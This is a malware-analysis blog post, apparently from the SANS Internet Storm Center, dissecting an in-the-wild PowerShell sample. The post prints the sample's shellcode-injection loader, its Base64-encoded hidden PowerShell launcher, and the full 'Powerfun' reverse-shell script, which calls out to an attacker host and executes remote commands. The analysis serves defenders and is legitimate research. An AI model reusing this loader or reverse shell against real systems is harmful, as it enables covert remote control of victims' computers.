PowerShell Backdoor Launched from a ShellCode
When you need to perform malicious actions on a victim's computer, the Internet is full of resources that can be reused, forked, slightly changed to meet your requirements. After all, why reinvent the wheel if some pieces of code are available on GitHub for free? If you developed some offensive tools for good reasons (because you're a pentester, a red teamer of just doing some research), chances are high that your code will be reused.
Here is a practical example found in the wild. The initial PowerShell script has a VT score of 8/59 (SHA256:f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3). The script is not heavily obfuscated but the technique used is interesting. It uses the CSharp
$nTlW = New-Object Microsoft.CSharp.CSharpCodeProvider $cUj0x = New-Object System.CodeDom.Compiler.CompilerParameters $cUj0x.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location)) $cUj0x.GenerateInMemory = $True $zgA = $nTlW.CompileAssemblyFromSource($cUj0x, $dn)
The code above compiles on the fly some code to allow code injection. This is not the first time that I write about this technique[2], like malware compiling code on the fly[3]. Let's have a look at the injection code:
$fH3rI = [y5SR.func]::VirtualAlloc(0, $u4O.Length + 1, [y5SR.func+AllocationType]::Reserve -bOr [y5SR.func+AllocationType]::Commit, [y5SR.func+MemoryProtection]::ExecuteReadWrite) if ([Bool]!$fH3rI) { $global:result = 3; return } [System.Runtime.InteropServices.Marshal]::Copy($u4O, 0, $fH3rI, $u4O.Length) [IntPtr] $ay = [y5SR.func]::CreateThread(0,0,$fH3rI,0,0,0) if ([Bool]!$ay) { $global:result = 7; return } $p0vZ = [y5SR.func]::WaitForSingleObject($ay, [y5SR.func+Time]::Infinite)
- A new memory region is allowed in the current process environment (the PowerShell interpreter) via VirtualAlloc(). The most important parameter is 'ExecuteReadWrite' (the famous 0x40 value)
- The shellcode is copied into the newly allocated memory via Copy()
- A new threat is created via CreateThreat()
- To now block the parent threat, WaitForSingleObject() is called
Let's have a look at the shellcode. It's a Base64-encode chunk of data:
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3.dms -n 100 -s 1 -S ;}$u D$$[[aYZQ powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New- Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String('H4sIADeXAV8CA51WW2/bNhR+9684cLVaQixCCTCgCJBirpJuAdLWqLzlwTAQWjqOtcikRlK+LPF/ LylRF8cJukwvtsjD73znOxfqHYz5BsWiYODDrUiVQgbzHXzSP5NCMBTwHi7pGuEPKpJdr6ctY5VyBr+j8m9xHmcpMgW9xx7ox9nEcAFfceN/m/+N sQJ/ssvxK12hXlRE24elfW1M/pR4iQtaZCoUmOidlGZSQzhKFNhYjQXf7sgzC73eWalte/uWYl6H1nuEcn9MBV251f9ppETK7mdOyFcrypLh4Wok s5izZ4uXfMMyTpNy1bOYgscoJVgBVjwpMjQEf3M9qEzSBbi1G/DxH+jPU5b0vXKzOleezVKp5deSX2iXO/1/RYxqEY8fUEkyifMbazH7EHwIjg8S qahQxq/1XO7aFF107EZxjLnSgFU63IrK/jW6AtcoJB4zbqA7KX+JeTi2jvp5cvrvnLCsPzQhWL+9SjupBNKVIVrhEl1jUbmmCbbUqtRUzEyZ9G0m OrykzKIa7BVqGBe63Hckqk1d63/oLHQ94dB9dCYafQ8+lTA9OPMdV1xhiEKlizSmCv+iWZpQU3QhzbI5jR9mnvcCHTIq1NJUrDk0kkeieJ20tWq0 0XTlms53CqezmWN+TcEFhJwF+nn65THYW0WRJfW2O1W4VQRZzBNTzefnoyi8vvaMyp+Mjdu/1WXJN7KaCdESswxEwZi2Bq1BIXVp9uEEHGTrc/PG TGOf6DWdjmYj5qu8UO3mHQt5vhPp/VKBG3pwFpz+Cl/SWHDJFwpCLnIuSu0IjIxHYylBoHawxoTcsTtmK89qQsygQreNbhgM2xdyg+xeLbsVU/dt t2aOSuZtUk1PZnCjIY02tudJw/PtXOtTn7m4ovFSc65AIWXNTGmtWtrmcQ9GsUfqaKupVSN5T9dszR/Qv9rmWlup9W5Q9odt+CYlBuMIBjrPJYsb HpeZ9MiYqqVeHXwc/O/UbZZphq7rpGUPVMe/I03cquKHEAzBOTjngc8QgqPcXhn6mEx0KK9dT3Y0GBNShnhlQ25RdINTQ6WDZidUKXMdDjip96ys 9DwwWh4lAPx6zFbgZx/fn8ITfCuUX6GCleIA6gxKQWpgLfJPUgCDFmRriDgoBBfTYHbgrMO63CdxhlS43ksMLrovuvG3veNO+k/l08L8tHW6pXLU OPWZz1khl83Na8egvU7CjEu08bR3YaR4Xl+A+uuh13w1NMmx1x/49uYxA+QH7Wza3jkJAAA='))), [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
The shellcode is simple to understand, it used WinExec() to launch another PowerShell command which decodes more Base64-encoded data, unzips it, and executes it. Let's look at it in scdbg:
Here is the code PowerShell code executed in the injected threat:
# Powerfun - Written by Ben Turner & Dave Hardy function Get-Webclient { $wc = New-Object -TypeName Net.WebClient $wc.UseDefaultCredentials = $true $wc.Proxy.Credentials = $wc.Credentials $wc } function powerfun { Param( [String]$Command, [String]$Sslcon, [String]$Download ) Process { $modules = @() if ($Command -eq "bind") { $listener = [System.Net.Sockets.TcpListener]8080 $listener.start() $client = $listener.AcceptTcpClient() } if ($Command -eq "reverse") { $client = New-Object System.Net.Sockets.TCPClient("pd1zb[.]nl",8080) } $stream = $client.GetStream() if ($Sslcon -eq "true") { $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) $sslStream.AuthenticateAsClient("pd1zb[.]nl") $stream = $sslStream } [byte[]]$bytes = 0..20000|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) if ($Download -eq "true") { $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n") $stream.Write($sendbytes,0,$sendbytes.Length) ForEach ($module in $modules) { (Get-Webclient).DownloadString($module)|Invoke-Expression } } $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() $listener.Stop() } } powerfun -Command reverse -Sslcon true
The backdoor can be found on this github.com repository: davehardy20/PowerShell-Scripts[4]. The next question is: why to perform process injection of a PowerShell script into the initial PowerShell process? Probably to improve the obfuscation, this is confirmed by the low VT score!
[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=dotnet-plat-ext-3.1
[2] https://isc.sans.edu/forums/diary/Malicious+PowerShell+Compiling+C+Code+on+the+Fly/24072
[3] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[4] https://github.com/davehardy20/PowerShell-Scripts
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments